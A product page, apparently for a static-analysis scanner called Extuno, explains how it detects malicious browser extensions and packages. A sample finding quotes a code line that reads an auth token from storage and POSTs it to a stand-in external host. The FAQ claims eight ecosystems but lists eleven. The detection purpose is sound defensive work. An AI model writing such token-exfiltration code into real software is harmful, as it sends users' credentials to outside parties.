extuno
Static analysis that reads the code, not the marketing
Static analysis inspects every file in an extension or package without executing it. Extuno runs 1100+ rules across the unpacked source, manifest, and bundled assets, and attaches file, line, and remediation to each finding.
What does static analysis check without running the code?
Static analysis reads the unpacked source, the manifest, and bundled assets directly. Because the code never executes, the scan is fast, deterministic, and safe to run on untrusted packages. Extuno applies 1100+ rules across five families: malware behavior (exfiltration, command-and-control patterns, code injection), dangerous permission and manifest requests, obfuscation fingerprints (packers, encoders, hidden characters), taint dataflow that traces tainted input to a dangerous sink, and over 1000 detectors for leaked secrets and API keys. Every match records the exact file and line so an analyst can confirm it in seconds. See the full detection rules catalog for the current breakdown by category.
How does taint dataflow catch data theft in source?
A single suspicious call is rarely proof of malice. Taint analysis follows data from a sensitive source to a network sink within the same code path. For example, reading document.cookie or an auth token and then sending it to an external endpoint is a confirmed exfiltration flow, while either step alone is not. Extuno tracks these source-to-sink chains and suppresses benign cases where a sanitizer sits between the two, which keeps false positives low. This is the difference between flagging a permission and proving the code uses it to move credentials off the device. The methodology page explains how findings are correlated and scored.
How does Extuno see through obfuscation?
Malicious extensions and packages often hide intent behind packers, base64 layers, hex escapes, and zero-width characters. Static rules fingerprint known obfuscation families and unpack bounded layers so the underlying behavior becomes visible to the rest of the ruleset. A finding that fires only after decoding carries both the obfuscated source and the decoded value as evidence, so you can see what was concealed. Obfuscation by itself is a signal, not a verdict; Extuno records it and lets stronger behavioral findings drive the band. Static results feed into risk scoring alongside dynamic and AI layers.
Why are the rules data-driven packs?
Detection lives in versioned rule packs, not hand-written code branches. A pack is a set of declarative rules: a matcher (regex, manifest condition, permission set algebra, taint, or correlation), a severity, a category, and the evidence to extract. Adding coverage means editing a pack and its fixtures, never the scan engine. Each rule ships with a positive fixture that must match and a negative fixture that must not, so a new detector cannot silently break an existing one. The secret detectors anchor to each provider's token format, which keeps the 1000+ credential rules near zero false positive on hostnames, identifiers, and public values.
How does static analysis fit the rest of the scan?
Static analysis is the first of three layers. It maps the entire attack surface from the code itself, then dynamic sandbox execution confirms what the code does at runtime, and AI code analysis explains why a finding is dangerous and correlates behavior across versions. Static results also power version diffing, which compares an update against the prior release and flags a benign-to-dangerous escalation in the code, catching a package poisoned through its update channel. Because static output is machine-readable, it drives the CI gate and SARIF export for pull-request annotations.
Can I run static analysis in CI?
Yes. Static analysis produces SARIF and JSON output and a pass or fail gate keyed on severities and categories, so a pull request that introduces a leaked key or a dangerous permission can be blocked before merge. Recipes exist for a GitHub Action, GitLab CI, and a pre-commit hook. The same engine that scans a published extension scans your build artifact, so what you see in CI matches what an external analyst would see. The free tier lets you try it on a real repository before adding scan-credit packs for volume; see pricing.
{
"rule_id": "det.taint.auth_storage_to_network",
"category": "taint",
"severity": "high",
"file": "js/background.js",
"line": 247,
"evidence": "const t = localStorage.getItem('auth_token'); fetch('https://collect.example.net/c', {method:'POST', body:t})",
"why": "Auth token read from storage flows to an external network sink with no sanitizer between source and sink.",
"remediation": "Remove the off-origin token transmission or scope the credential to the extension's own backend."
}Frequently asked questions
Does static analysis run the extension or package?
No. Static analysis only reads the source, manifest, and assets. The code is never executed, which makes the scan fast, repeatable, and safe to run on untrusted input. Runtime behavior is confirmed separately by the dynamic sandbox layer.
How many static rules does Extuno run?
Over 1100 rules across malware behavior, dangerous permissions, obfuscation, taint dataflow, and leaked secrets. More than 1000 of those are dedicated secret and API-key detectors, each anchored to a provider token format to keep false positives low.
How do you keep false positives down?
Rules are anchored to specific formats and structures, taint flows require a real source-to-sink path with sanitizer suppression, and every rule ships positive and negative test fixtures. Capability findings such as a permission request are kept advisory rather than treated as proof of malice.
What evidence does a static finding include?
Each finding carries the file path, the line, why it is dangerous, and the recommended action. Findings that fire after decoding also include the obfuscated source and the decoded value, so you can verify the result directly.
Which ecosystems does static analysis cover?
All eight supported ecosystems: Chrome, Firefox, VS Code, JetBrains, Eclipse, Discord client mods, npm, PyPI, WordPress, Composer, and Maven. The same rule engine and evidence model apply to extensions and developer packages alike.